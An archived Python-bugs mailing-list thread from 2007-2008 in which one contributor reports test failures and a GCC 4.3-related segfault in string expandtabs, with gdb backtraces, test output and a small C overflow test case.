  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 702, in __init__
self._incref()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 749, in _incref
dispatch(conn, None, 'incref', (self._id,))
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 85, in dispatch
raise convert_to_error(kind, result)
multiprocessing.managers.RemoteError: 

---
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 187, in handle_request
result = func(c, *args, **kwds)
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 403, in incref
self.id_to_refcount[ident] += 1
KeyError: '7389d0'

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3578>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3578] 'dictionary changed size' error in test_multiprocessing

2008-08-18 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Ah cool, we might be at the end of multiprocessing problems then I guess 
:-)

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3578>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3139] bytearrays are not thread safe

2008-08-19 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

> Can you run Lib/test/test_unicode.py directly to know which test
> precisely crashes?

The latest py3k branch is fine now and the test passes.

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3139>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1210] imaplib does not run under Python 3

2008-08-26 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Still fails with beta2:

>>> import imaplib
>>> mail=imaplib.IMAP4("mail.rtmq.infosathse.com")
Traceback (most recent call last):
  File "", line 1, in 
  File "/usr/local/lib/python3.0/imaplib.py", line 185, in __init__
self.welcome = self._get_response()
  File "/usr/local/lib/python3.0/imaplib.py", line 912, in _get_response
if self._match(self.tagre, resp):
  File "/usr/local/lib/python3.0/imaplib.py", line 1021, in _match
self.mo = cre.match(s)
TypeError: can't use a string pattern on a bytes-like object

--
nosy: +cartman

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1210>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3720] segfault in for loop with evil iterator

2008-08-29 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Maybe do a s/"object is no more an iterator"/"is no longer an iterator"

--
nosy: +cartman

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3720>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1608] Regression tests crashes with gcc 4.3

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

gdb backtrace, segfaulting test is Lib/test/test_str.py

Added file: http://bugs.python.org/file8936/backtrace.txt

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1608>
__(gdb) run ./Lib/test/test_str.py
Starting program: /home/cartman/python-2.5/python ./Lib/test/test_str.py
test___contains__ (__main__.StrTest) ... ok
test_bug1001011 (__main__.StrTest) ... ok
test_capitalize (__main__.StrTest) ... ok
test_center (__main__.StrTest) ... ok
test_conversion (__main__.StrTest) ... ok
test_count (__main__.StrTest) ... ok
test_encoding_decoding (__main__.StrTest) ... ok
test_endswith (__main__.StrTest) ... ok

Program received signal SIGSEGV, Segmentation fault.
string_expandtabs (self=0xb7c069e0, args=0xb7c1ec2c) at 
Objects/stringobject.c:3358
3358*q++ = ' ';
(gdb) bt
#0  string_expandtabs (self=0xb7c069e0, args=0xb7c1ec2c) at 
Objects/stringobject.c:3358
#1  0xb7ee072d in PyCFunction_Call (func=0xb7c1ebac, arg=0xb7c1ec2c, 
kw=0xb7c16dfc) at Objects/methodobject.c:73
#2  0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c1ec2c, 
kw=0xb7c16dfc) at Objects/abstract.c:1861
#3  0xb7f311a9 in PyEval_EvalFrameEx (f=0x80cfd64, throwflag=0) at 
Python/ceval.c:3849
#4  0xb7f340a5 in PyEval_EvalCodeEx (co=0xb7c71f98, globals=0xb7c6b4f4, 
locals=0x0, args=0xb7c0e2b8, argcount=4, kws=0x0, kwcount=0, defs=0x0, 
defcount=0,
closure=0x0) at Python/ceval.c:2832
#5  0xb7ecb3fe in function_call (func=0xb7c0125c, arg=0xb7c0e2ac, kw=0x0) at 
Objects/funcobject.c:517
#6  0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c0e2ac, kw=0x0) at 
Objects/abstract.c:1861
#7  0xb7f311a9 in PyEval_EvalFrameEx (f=0x80cfbec, throwflag=0) at 
Python/ceval.c:3849
#8  0xb7f340a5 in PyEval_EvalCodeEx (co=0xb7c00e78, globals=0xb7c6d604, 
locals=0x0, args=0x80e4748, argcount=5, kws=0x80e475c, kwcount=0, defs=0x0,
defcount=0, closure=0x0) at Python/ceval.c:2832
#9  0xb7f32931 in PyEval_EvalFrameEx (f=0x80e460c, throwflag=0) at 
Python/ceval.c:3665
#10 0xb7f335be in PyEval_EvalFrameEx (f=0x80cd5ec, throwflag=0) at 
Python/ceval.c:3655
#11 0xb7f340a5 in PyEval_EvalCodeEx (co=0xb7c71cc8, globals=0xb7c6b4f4, 
locals=0x0, args=0xb7c14938, argcount=2, kws=0x80cc578, kwcount=0, 
defs=0xb7bfe898,
defcount=1, closure=0x0) at Python/ceval.c:2832
#12 0xb7ecb382 in function_call (func=0xb7c010d4, arg=0xb7c1492c, 
kw=0xb7c16c64) at Objects/funcobject.c:517
#13 0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c1492c, 
kw=0xb7c16c64) at Objects/abstract.c:1861
#14 0xb7f311a9 in PyEval_EvalFrameEx (f=0x80cd484, throwflag=0) at 
Python/ceval.c:3849
#15 0xb7f340a5 in PyEval_EvalCodeEx (co=0xb7c71d10, globals=0xb7c6b4f4, 
locals=0x0, args=0xb7c148f8, argcount=2, kws=0x0, kwcount=0, defs=0x0, 
defcount=0,
closure=0x0) at Python/ceval.c:2832
#16 0xb7ecb3fe in function_call (func=0xb7c0110c, arg=0xb7c148ec, kw=0x0) at 
Objects/funcobject.c:517
#17 0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c148ec, kw=0x0) at 
Objects/abstract.c:1861
#18 0xb7eaea25 in instancemethod_call (func=0xb7c0110c, arg=0xb7c148ec, kw=0x0) 
at Objects/classobject.c:2509
#19 0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c148cc, kw=0x0) at 
Objects/abstract.c:1861
#20 0xb7f00d60 in slot_tp_call (self=0xb7c1438c, args=0xb7c148cc, kwds=0x0) at 
Objects/typeobject.c:4633
#21 0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c148cc, kw=0x0) at 
Objects/abstract.c:1861
#22 0xb7f2f6cc in PyEval_EvalFrameEx (f=0x80cd31c, throwflag=0) at 
Python/ceval.c:3780
#23 0xb7f340a5 in PyEval_EvalCodeEx (co=0xb7c75458, globals=0xb7c6b4f4, 
locals=0x0, args=0xb7c141d8, argcount=2, kws=0x80c8b90, kwcount=0, defs=0x0,
defcount=0, closure=0x0) at Python/ceval.c:2832
#24 0xb7ecb382 in function_call (func=0xb7c014c4, arg=0xb7c141cc, 
kw=0xb7c16bdc) at Objects/funcobject.c:517
#25 0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c141cc, 
kw=0xb7c16bdc) at Objects/abstract.c:1861
#26 0xb7f311a9 in PyEval_EvalFrameEx (f=0x80cd1b4, throwflag=0) at 
Python/ceval.c:3849
#27 0xb7f340a5 in PyEval_EvalCodeEx (co=0xb7c754a0, globals=0xb7c6b4f4, 
locals=0x0, args=0xb7c0ff58, argcount=2, kws=0x0, kwcount=0, defs=0x0, 
defcount=0,
closure=0x0) at Python/ceval.c:2832
#28 0xb7ecb3fe in function_call (func=0xb7c014fc, arg=0xb7c0ff4c, kw=0x0) at 
Objects/funcobject.c:517
#29 0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c0ff4c, kw=0x0) at 
Objects/abstract.c:1861
#30 0xb7eaea25 in instancemethod_call (func=0xb7c014fc, arg=0xb7c0ff4c, kw=0x0) 
at Objects/classobject.c:2509
#31 0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c1486c, kw=0x0) at 
Objects/abstract.c:1861
#32 0xb7f00d60 in slot_tp_call (self=0xb7c1412c, args=0xb7c1486c, kwds=0x0) at 
Objects/typeobject.c:4633
#33 0xb7ea6c47 in PyObject_Call (func=0xb7c1ecd4, arg=0xb7c1486c, kw=0x0) at 
Objects/abstract.c:1861
#34 0xb7f2f6cc in PyEval_EvalFrameEx (

[issue1608] test_str.py crashes

2007-12-13 Thread Ismail Donmez

Changes by Ismail Donmez:


--
title: Regression tests crashes with gcc 4.3 -> test_str.py crashes

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1608>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1609] test_re.py fails

2007-12-13 Thread Ismail Donmez

Changes by Ismail Donmez:


--
type:  -> behavior

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1609>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1609] test_re.py fails

2007-12-13 Thread Ismail Donmez

New submission from Ismail Donmez:

Using python 2.5 revision 59479 from release25-maint branch, 

[~/python-2.5]> LD_LIBRARY_PATH=/home/cartman/python-2.5: ./python
./Lib/test/test_re.py
test_anyall (__main__.ReTests) ... ok
test_basic_re_sub (__main__.ReTests) ... ok
test_bigcharset (__main__.ReTests) ... ok
test_bug_113254 (__main__.ReTests) ... ok
test_bug_1140 (__main__.ReTests) ... ok
test_bug_114660 (__main__.ReTests) ... ok
test_bug_117612 (__main__.ReTests) ... ok
test_bug_418626 (__main__.ReTests) ... ok
test_bug_448951 (__main__.ReTests) ... ok
test_bug_449000 (__main__.ReTests) ... ok
test_bug_449964 (__main__.ReTests) ... ok
test_bug_462270 (__main__.ReTests) ... ok
test_bug_527371 (__main__.ReTests) ... ok
test_bug_545855 (__main__.ReTests) ... ok
test_bug_581080 (__main__.ReTests) ... ok
test_bug_612074 (__main__.ReTests) ... ok
test_bug_725106 (__main__.ReTests) ... ok
test_bug_725149 (__main__.ReTests) ... ok
test_bug_764548 (__main__.ReTests) ... ok
test_bug_817234 (__main__.ReTests) ... ok
test_bug_926075 (__main__.ReTests) ... ok
test_bug_931848 (__main__.ReTests) ... ok
test_category (__main__.ReTests) ... ok
test_constants (__main__.ReTests) ... ok
test_empty_array (__main__.ReTests) ... ok
test_expand (__main__.ReTests) ... ok
test_finditer (__main__.ReTests) ... ok
test_flags (__main__.ReTests) ... ok
test_getattr (__main__.ReTests) ... ok
test_getlower (__main__.ReTests) ... ok
test_groupdict (__main__.ReTests) ... ok
test_ignore_case (__main__.ReTests) ... ok
test_non_consuming (__main__.ReTests) ... ok
test_not_literal (__main__.ReTests) ... ok
test_pickling (__main__.ReTests) ... ok
test_qualified_re_split (__main__.ReTests) ... ok
test_qualified_re_sub (__main__.ReTests) ... ok
test_re_escape (__main__.ReTests) ... ok
test_re_findall (__main__.ReTests) ... ok
test_re_groupref (__main__.ReTests) ... ok
test_re_groupref_exists (__main__.ReTests) ... ok
test_re_match (__main__.ReTests) ... ok
test_re_split (__main__.ReTests) ... ok
test_re_subn (__main__.ReTests) ... ok
test_repeat_minmax (__main__.ReTests) ... ok
test_scanner (__main__.ReTests) ... ok
test_search_coverage (__main__.ReTests) ... ok
test_search_star_plus (__main__.ReTests) ... ok
test_special_escapes (__main__.ReTests) ... ok
test_sre_character_class_literals (__main__.ReTests) ... ok
test_sre_character_literals (__main__.ReTests) ... ok
test_stack_overflow (__main__.ReTests) ... ok
test_sub_template_numeric_escape (__main__.ReTests) ... ok
test_symbolic_refs (__main__.ReTests) ... ok
test_weakref (__main__.ReTests) ... ok

--
Ran 55 tests in 0.194s

OK
Running re_tests test suite
=== Failed incorrectly ('(?u)\\b.\\b', u'\xc4', 0, 'found', u'\xc4')
=== Failed incorrectly ('(?u)\\w', u'\xc4', 0, 'found', u'\xc4')

--
components: Tests
messages: 58527
nosy: cartman
severity: normal
status: open
title: test_re.py fails
versions: Python 2.5

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1609>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1608] Regression tests crashes with gcc 4.3

2007-12-13 Thread Ismail Donmez

New submission from Ismail Donmez:

Checkout Python 2.5 from release25-maint branch, revision 59479

Compiled with gcc 4.3.0 20071212 , make test crashes with the following
output

[... snip ...]
test_socket_ssl
test_socket_ssl skipped -- Use of the `network' resource not enabled
test_socketserver
test_socketserver skipped -- Use of the `network' resource not enabled
test_softspace
test_sort
test_sqlite
test_startfile
test_startfile skipped -- cannot import name startfile
test_str
make: *** [test] Segmentation fault

--
components: Tests
messages: 58525
nosy: cartman
severity: normal
status: open
title: Regression tests crashes with gcc 4.3
type: crash
versions: Python 2.5

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1608>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1610] test_socket.py fails

2007-12-13 Thread Ismail Donmez

New submission from Ismail Donmez:

Checkout Python 2.5 from release25-maint branch, revision 59479,

[~/python-2.5]> LD_LIBRARY_PATH=/home/cartman/python-2.5: ./python
./Lib/test/test_socket.py
testCrucialConstants (__main__.GeneralModuleTests) ... ok
testDefaultTimeout (__main__.GeneralModuleTests) ... ok
testGetServBy (__main__.GeneralModuleTests) ... ERROR
testGetSockOpt (__main__.GeneralModuleTests) ... ok
testHostnameRes (__main__.GeneralModuleTests) ... ok
testIPv4toString (__main__.GeneralModuleTests) ... ok
testIPv6toString (__main__.GeneralModuleTests) ... ok
testInterpreterCrash (__main__.GeneralModuleTests) ... ok
testNewAttributes (__main__.GeneralModuleTests) ... ok
testNtoH (__main__.GeneralModuleTests) ... ok
testRefCountGetNameInfo (__main__.GeneralModuleTests) ... ok
testSendAfterClose (__main__.GeneralModuleTests) ... ok
testSetSockOpt (__main__.GeneralModuleTests) ... ok
testSockName (__main__.GeneralModuleTests) ... ok
testSocketError (__main__.GeneralModuleTests) ... ok
testStringToIPv4 (__main__.GeneralModuleTests) ... ok
testStringToIPv6 (__main__.GeneralModuleTests) ... ok
test_weakref (__main__.GeneralModuleTests) ... ok
testFromFd (__main__.BasicTCPTest) ... ok
testOverFlowRecv (__main__.BasicTCPTest) ... ok
testOverFlowRecvFrom (__main__.BasicTCPTest) ... ok
testRecv (__main__.BasicTCPTest) ... ok
testRecvFrom (__main__.BasicTCPTest) ... ok
testSendAll (__main__.BasicTCPTest) ... ok
testShutdown (__main__.BasicTCPTest) ... ok
testClose (__main__.TCPCloserTest) ... ok
testInterruptedTimeout (__main__.TCPTimeoutTest) ... ok
testTCPTimeout (__main__.TCPTimeoutTest) ... ok
testTimeoutZero (__main__.TCPTimeoutTest) ... ok
testExceptionTree (__main__.TestExceptions) ... ok
testRecvFromInto (__main__.BufferIOTest) ... ok
testRecvInto (__main__.BufferIOTest) ... ok
testRecvFrom (__main__.BasicUDPTest) ... ok
testRecvFromNegative (__main__.BasicUDPTest) ... ok
testSendtoAndRecv (__main__.BasicUDPTest) ... ok
testTimeoutZero (__main__.UDPTimeoutTest) ... ok
testUDPTimeout (__main__.UDPTimeoutTest) ... ok
testAccept (__main__.NonBlockingTCPTests) ... ok
testConnect (__main__.NonBlockingTCPTests) ... ok
testRecv (__main__.NonBlockingTCPTests) ... ok
testSetBlocking (__main__.NonBlockingTCPTests) ... ok
testClosedAttr (__main__.FileObjectClassTestCase) ... ok
testFullRead (__main__.FileObjectClassTestCase) ... ok
testReadline (__main__.FileObjectClassTestCase) ... ok
testSmallRead (__main__.FileObjectClassTestCase) ... ok
testUnbufferedRead (__main__.FileObjectClassTestCase) ... ok
testClosedAttr (__main__.UnbufferedFileObjectClassTestCase) ... ok
testFullRead (__main__.UnbufferedFileObjectClassTestCase) ... ok
testReadline (__main__.UnbufferedFileObjectClassTestCase) ... ok
testSmallRead (__main__.UnbufferedFileObjectClassTestCase) ... ok
testUnbufferedRead (__main__.UnbufferedFileObjectClassTestCase) ... ok
testUnbufferedReadline (__main__.UnbufferedFileObjectClassTestCase) ... ok
testClosedAttr (__main__.LineBufferedFileObjectClassTestCase) ... ok
testFullRead (__main__.LineBufferedFileObjectClassTestCase) ... ok
testReadline (__main__.LineBufferedFileObjectClassTestCase) ... ok
testSmallRead (__main__.LineBufferedFileObjectClassTestCase) ... ok
testUnbufferedRead (__main__.LineBufferedFileObjectClassTestCase) ... ok
testClosedAttr (__main__.SmallBufferedFileObjectClassTestCase) ... ok
testFullRead (__main__.SmallBufferedFileObjectClassTestCase) ... ok
testReadline (__main__.SmallBufferedFileObjectClassTestCase) ... ok
testSmallRead (__main__.SmallBufferedFileObjectClassTestCase) ... ok
testUnbufferedRead (__main__.SmallBufferedFileObjectClassTestCase) ... ok
testClose (__main__.Urllib2FileobjectTest) ... ok
testRecv (__main__.BasicSocketPairTest) ... ok
testSend (__main__.BasicSocketPairTest) ... ok
testLinuxAbstractNamespace (__main__.TestLinuxAbstractNamespace) ... ok
testMaxName (__main__.TestLinuxAbstractNamespace) ... ok
testNameOverflow (__main__.TestLinuxAbstractNamespace) ... ok

==
ERROR: testGetServBy (__main__.GeneralModuleTests)
--
Traceback (most recent call last):
  File "./Lib/test/test_socket.py", line 344, in testGetServBy
eq(socket.getservbyport(port2), service)
error: port/proto not found

--
Ran 68 tests in 5.558s

FAILED (errors=1)
Traceback (most recent call last):
  File "./Lib/test/test_socket.py", line 995, in 
test_main()
  File "./Lib/test/test_socket.py", line 991, in test_main
test_support.run_unittest(*tests)
  File "/home/cartman/python-2.5/Lib/test/test_support.py", line 441, in
run_unittest
run_suite(suite, testclass)
  File "/home/cartman/python-2.5/Lib/test/test_support.py", line 426, in
run_suite
raise TestFailed(err)
test.test_support.TestFailed: Traceback (most recent call la

[issue1610] test_socket.py fails

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

Then it won't run as expected (I got python 2.4 installed system wise) :

./python: error while loading shared libraries: libpython2.5.so.1.0:
cannot open shared object file: No such file or directory

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1610>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1609] test_re.py fails

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

gcc 4.3, Linux 2.6.18, 32bit. 

Without  LD_LIBRARY_PATH it would use the system libraries and not the
compiled ones which anyway is not wanted.

Configure line used is (damn I forgot to specify this before, sorry)

--with-fpectl \
--enable-shared \
--enable-ipv6 \
--with-threads \
--enable-unicode=ucs4 \
--with-wctype-functions

--enable-pydebug doesn't help.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1609>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1608] test_str.py crashes

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

--enable-pydebug fixes the crash it might be that some uninitialized
variable doesn't take affect unless optimized as valgrind output shows
many of this.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1608>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1608] test_str.py crashes

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

This is a soon to be released GCC though I won't deny it has
regressions, but note that extra optimizations already uncovered bugs in
other software.

And unless I can get a minimal C testcase, GCC bug will be worthless.

Exact crashling call is string_tests.py line 255 :

self.checkraises(OverflowError,
 '\ta\n\tb', 'expandtabs', sys.maxint)

Commenting out this fixes the crash.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1608>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1609] test_re.py fails

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

> What system libraries?

libpython2.5.so.1.0 , this is a shared lib build after all.

> Does it make a difference if you don't specify either of
>
> --enable-unicode=ucs4 \
> --with-wctype-functions

Removing --with-wctype-functions fixes the issue.

> Is GCC 4.3 released yet?

Not yet but soon, its less buggy compared to 4.1 and 4.2 at the moment.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1609>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1608] test_str.py crashes

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

Indeed you are correct,

>>> '\ta\n\tb'.expandtabs(2147483647)

Program received signal SIGSEGV, Segmentation fault.
string_expandtabs (self=0xb7ba7c60, args=0xb7ba7dec) at
Objects/stringobject.c:3358
3358*q++ = ' ';
(gdb) bt
#0  string_expandtabs (self=0xb7ba7c60, args=0xb7ba7dec) at
Objects/stringobject.c:3358
#1  0xb7e1b6dd in PyCFunction_Call (func=0xb7ba72ec, arg=0xb7ba7dec,
kw=0x0) at Objects/methodobject.c:73
#2  0xb7e6d05b in PyEval_EvalFrameEx (f=0x80cc40c, throwflag=0) at
Python/ceval.c:3569
#3  0xb7e6ec35 in PyEval_EvalCodeEx (co=0xb7b987b8, globals=0xb7bceacc,
locals=0xb7bceacc, args=0x0, argcount=0, kws=0x0, kwcount=0, defs=0x0,
defcount=0,
closure=0x0) at Python/ceval.c:2832
#4  0xb7e6ee53 in PyEval_EvalCode (co=0xb7b987b8, globals=0xb7bceacc,
locals=0xb7bceacc) at Python/ceval.c:494
#5  0xb7e8ea8d in PyRun_InteractiveOneFlags (fp=0xb7d48420,
filename=0xb7ec589c "", flags=0xbff3c6a8) at Python/pythonrun.c:1273
#6  0xb7e8ecc6 in PyRun_InteractiveLoopFlags (fp=0xb7d48420,
filename=0xb7ec589c "", flags=0xbff3c6a8) at Python/pythonrun.c:723
#7  0xb7e8f427 in PyRun_AnyFileExFlags (fp=0xb7d48420,
filename=0xb7ec589c "", closeit=0, flags=0xbff3c6a8) at
Python/pythonrun.c:692
#8  0xb7e9a347 in Py_Main (argc=0, argv=0xbff3c774) at Modules/main.c:523
#9  0x080485a2 in main (argc=538976288, argv=0x20202020) at
./Modules/python.c:23


Though I am not exactly sure how to proceed from here.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1608>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1608] test_str.py crashes

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

Guido,

if you can give me a sample testcase I can bug GCC developers, this
doesn't look good from GCC side at all. Btw from my limited C knowledge
marking variables would volatile would prevent optimizations of them.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1608>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1609] test_re.py fails

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

> Not quite yet, gcc 4.3 had a big inlining bug that was just corrected
> two weeks ago:
> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=33434
> You may have encountered this bug, or another similar one...

Two weeks ago is too old for me, I am using SVN snapshot from yesterday :-)

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1609>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1608] test_str.py crashes

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

Test always prints overflow here, tested with -O3 but here are
interesting overflow warnings that might give a clue , but I think
Cpickle is not involved here, but anyway:

/home/cartman/python-2.5/Modules/cPickle.c: In function 'Unpickler_noload':
/home/cartman/python-2.5/Modules/cPickle.c:4232: warning: assuming
signed overflow does not occur when assuming that (X - c) > X is always
false
/home/cartman/python-2.5/Modules/cPickle.c:194: warning: assuming signed
overflow does not occur when assuming that (X - c) > X is always false
/home/cartman/python-2.5/Modules/cPickle.c: In function 'load':
/home/cartman/python-2.5/Modules/cPickle.c:4232: warning: assuming
signed overflow does not occur when assuming that (X - c) > X is always
false

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1608>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1608] test_str.py crashes

2007-12-13 Thread Ismail Donmez

Ismail Donmez added the comment:

Following testcase doesn't print overflow with gcc 4.3 when compiled
with -O3, works with gcc 3.4.6 though.

#include 
#include 

void foo(ssize_t x)
{
 if (x >= 0) {
   if (x+x < 0) printf("Overflow\n");
}
}

main()
{
  volatile ssize_t x =2147483647;
  foo(x);
}

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1608>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



  1   2   3   >